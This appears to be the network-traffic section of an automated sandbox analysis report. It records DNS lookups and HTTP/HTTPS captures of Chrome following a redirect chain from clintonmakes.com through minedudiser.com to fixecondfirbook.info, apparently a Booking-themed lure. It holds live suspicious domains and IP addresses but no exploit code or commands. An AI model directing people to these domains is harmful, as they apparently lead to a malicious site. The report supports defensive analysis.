Jan 16, 2025 17:16:04.591875076 CET	192.168.2.7	1.1.1.1	0x190c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:17.198668003 CET	192.168.2.7	1.1.1.1	0xd10d	Standard query (0)	clintonmakes.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:17.199804068 CET	192.168.2.7	1.1.1.1	0xc1f1	Standard query (0)	clintonmakes.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:18.860245943 CET	192.168.2.7	1.1.1.1	0x4621	Standard query (0)	clintonmakes.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:18.860470057 CET	192.168.2.7	1.1.1.1	0x95dd	Standard query (0)	clintonmakes.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:19.850152016 CET	192.168.2.7	1.1.1.1	0xc511	Standard query (0)	minedudiser.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:19.850711107 CET	192.168.2.7	1.1.1.1	0x8585	Standard query (0)	minedudiser.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:21.139242887 CET	192.168.2.7	1.1.1.1	0xfde5	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.139556885 CET	192.168.2.7	1.1.1.1	0x9795	Standard query (0)	fixecondfirbook.info	65	IN (0x0001)	false
Jan 16, 2025 17:16:21.468751907 CET	192.168.2.7	1.1.1.1	0x520a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.468919992 CET	192.168.2.7	1.1.1.1	0x6f89	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:24.210239887 CET	192.168.2.7	1.1.1.1	0x7a55	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.210654974 CET	192.168.2.7	1.1.1.1	0xf956	Standard query (0)	fixecondfirbook.info	65	IN (0x0001)	false
Jan 16, 2025 17:16:24.447679996 CET	192.168.2.7	1.1.1.1	0x4808	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.447870016 CET	192.168.2.7	1.1.1.1	0xb310	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:25.477140903 CET	192.168.2.7	1.1.1.1	0x9877	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:25.477299929 CET	192.168.2.7	1.1.1.1	0x14f	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jan 16, 2025 17:16:33.560184002 CET	192.168.2.7	1.1.1.1	0x712	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:50.590779066 CET	192.168.2.7	1.1.1.1	0x968d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:09.435384035 CET	192.168.2.7	1.1.1.1	0x4f26	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:38.232439041 CET	192.168.2.7	1.1.1.1	0xffa5	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:38.232588053 CET	192.168.2.7	1.1.1.1	0xe4d2	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 16, 2025 17:17:43.971946001 CET	192.168.2.7	1.1.1.1	0x2e25	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:18:02.460679054 CET	192.168.2.7	1.1.1.1	0x7bd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 17:16:04.599834919 CET	1.1.1.1	192.168.2.7	0x190c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:04.599834919 CET	1.1.1.1	192.168.2.7	0x190c	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:04.599834919 CET	1.1.1.1	192.168.2.7	0x190c	No error (0)	e8652.dscx.akamaiedge.net		23.209.209.135	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:17.377002001 CET	1.1.1.1	192.168.2.7	0xd10d	No error (0)	clintonmakes.com		66.63.187.216	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:18.902482986 CET	1.1.1.1	192.168.2.7	0x4621	No error (0)	clintonmakes.com		66.63.187.216	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:20.052681923 CET	1.1.1.1	192.168.2.7	0xc511	No error (0)	minedudiser.com		186.64.116.70	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.148001909 CET	1.1.1.1	192.168.2.7	0xfde5	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.148001909 CET	1.1.1.1	192.168.2.7	0xfde5	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.149696112 CET	1.1.1.1	192.168.2.7	0x9795	No error (0)	fixecondfirbook.info			65	IN (0x0001)	false
Jan 16, 2025 17:16:21.475440979 CET	1.1.1.1	192.168.2.7	0x520a	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:21.475724936 CET	1.1.1.1	192.168.2.7	0x6f89	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 16, 2025 17:16:24.218660116 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	fixecondfirbook.info			65	IN (0x0001)	false
Jan 16, 2025 17:16:24.218703032 CET	1.1.1.1	192.168.2.7	0x7a55	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.218703032 CET	1.1.1.1	192.168.2.7	0x7a55	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454780102 CET	1.1.1.1	192.168.2.7	0x4808	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454834938 CET	1.1.1.1	192.168.2.7	0xb310	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454834938 CET	1.1.1.1	192.168.2.7	0xb310	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:24.454834938 CET	1.1.1.1	192.168.2.7	0xb310	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:25.484061003 CET	1.1.1.1	192.168.2.7	0x9877	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:25.486788988 CET	1.1.1.1	192.168.2.7	0x14f	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.486788988 CET	1.1.1.1	192.168.2.7	0x14f	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:25.486788988 CET	1.1.1.1	192.168.2.7	0x14f	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:33.570203066 CET	1.1.1.1	192.168.2.7	0x712	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:33.570203066 CET	1.1.1.1	192.168.2.7	0x712	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:33.570203066 CET	1.1.1.1	192.168.2.7	0x712	No error (0)	e8652.dscx.akamaiedge.net		2.23.197.184	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:16:50.598474979 CET	1.1.1.1	192.168.2.7	0x968d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:50.598474979 CET	1.1.1.1	192.168.2.7	0x968d	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:16:50.598474979 CET	1.1.1.1	192.168.2.7	0x968d	No error (0)	e8652.dscx.akamaiedge.net		23.209.209.135	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:09.444775105 CET	1.1.1.1	192.168.2.7	0x4f26	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:17:09.444775105 CET	1.1.1.1	192.168.2.7	0x4f26	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:17:09.444775105 CET	1.1.1.1	192.168.2.7	0x4f26	No error (0)	e8652.dscx.akamaiedge.net		2.23.197.184	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:38.239073992 CET	1.1.1.1	192.168.2.7	0xffa5	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:17:43.980688095 CET	1.1.1.1	192.168.2.7	0x2e25	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:17:43.980688095 CET	1.1.1.1	192.168.2.7	0x2e25	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:17:43.980688095 CET	1.1.1.1	192.168.2.7	0x2e25	No error (0)	e8652.dscx.akamaiedge.net		23.209.209.135	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:18:02.467905998 CET	1.1.1.1	192.168.2.7	0x7bd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:18:02.467905998 CET	1.1.1.1	192.168.2.7	0x7bd	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:18:02.467905998 CET	1.1.1.1	192.168.2.7	0x7bd	No error (0)	e8652.dscx.akamaiedge.net		2.23.197.184	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clintonmakes.com

minedudiser.com

fixecondfirbook.info

https:

q-xx.bstatic.com

a.nel.cloudflare.com

x1.i.lencr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49717	23.209.209.135	80	1964	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:16:04.609507084 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Jan 16, 2025 17:16:05.253392935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=50610 Expires: Fri, 17 Jan 2025 06:19:35 GMT Date: Thu, 16 Jan 2025 16:16:05 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Jan 16, 2025 17:16:05.253407955 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49726	66.63.187.216	80	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:16:18.926410913 CET	468	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: f5510ad44=0ad448213ea0
Jan 16, 2025 17:16:19.775774956 CET	448	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 66 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 91 b1 6e c3 20 10 86 5f 85 b2 78 72 69 33 a5 8e ed 25 cd dc 0e 59 3a 45 04 2e 36 aa 01 e7 38 da fa ed 4b 62 a7 b2 54 45 f2 c2 e9 a4 ef ff 38 b8 f2 e1 f5 6d bb ff 78 df b1 96 6c 57 97 d3 09 52 d7 25 19 ea a0 2e c5 54 2d 90 4c 14 f5 39 9c a3 f9 aa f8 d6 3b 02 47 f9 7e e8 81 33 35 76 15 27 f8 21 71 f1 6c 98 6a 25 06 a0 2a d2 29 5f f3 49 e1 a4 85 44 7d 1b 22 c0 42 49 d4 b3 70 88 d6 4a 1c 0e 9d c4 06 0e c6 ca 06 6e b9 1e 7d 0f 48 43 c5 7d 53 5c 67 9a e5 b8 f8 47 dd 6e 58 80 26 a1 86 a0 d0 f4 64 bc 5b a6 5d 1c 48 f2 f1 1d 33 ea ae f5 1e 39 fb f7 0c e1 84 10 da ec 8f ca 9e 36 2c 62 57 5d a0 50 08 61 8d 03 1d b5 09 80 8f ca 5b 71 f4 fe d3 e8 f5 6a f5 f2 9c a5 7d 8e db 3d 7a 3d a4 66 2a d7 bd b3 5f 9e 07 89 53 0e 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: fcn _xri3%Y:E.68KbTE8mxlWR%.T-L9;G~35v'!qlj%)_ID}"BIpJn}HC}S\gGnX&d[]H396,bW]Pa[qj}=z=f_S0
Jan 16, 2025 17:16:19.858458996 CET	381	OUT	GET /favicon.ico HTTP/1.1 Host: clintonmakes.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://clintonmakes.com/215c/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 16, 2025 17:16:20.219535112 CET	371	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:16:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49725	66.63.187.216	80	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:16:29.571960926 CET	212	IN	HTTP/1.0 408 Request Time-out Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>
Jan 16, 2025 17:17:14.574315071 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49722	66.63.187.216	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:18 UTC	664	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:18 UTC	210	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1069 Connection: close Set-Cookie: f5510ad44=0ad448213ea0 server: Apache/2.4.37 (Rocky Linux)
2025-01-16 16:16:18 UTC	828	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f Data Ascii: <!DOCTYPE html><html><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="twitter:card" content="summary_large_image"><meta property="og:title" content=""/><meta property="twitter:title" content=""/><meta pro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49727	186.64.116.70	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:20 UTC	690	OUT	GET /bookid82291 HTTP/1.1 Host: minedudiser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:21 UTC	344	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 16 Jan 2025 16:16:21 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://fixecondfirbook.info/ Cache-Control: max-age=0 Expires: Thu, 16 Jan 2025 16:16:21 GMT Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-16 16:16:21 UTC	237	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b 2e 69 6e 66 6f 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://fixecondfirbook.info/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49731	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:22 UTC	684	OUT	GET / HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
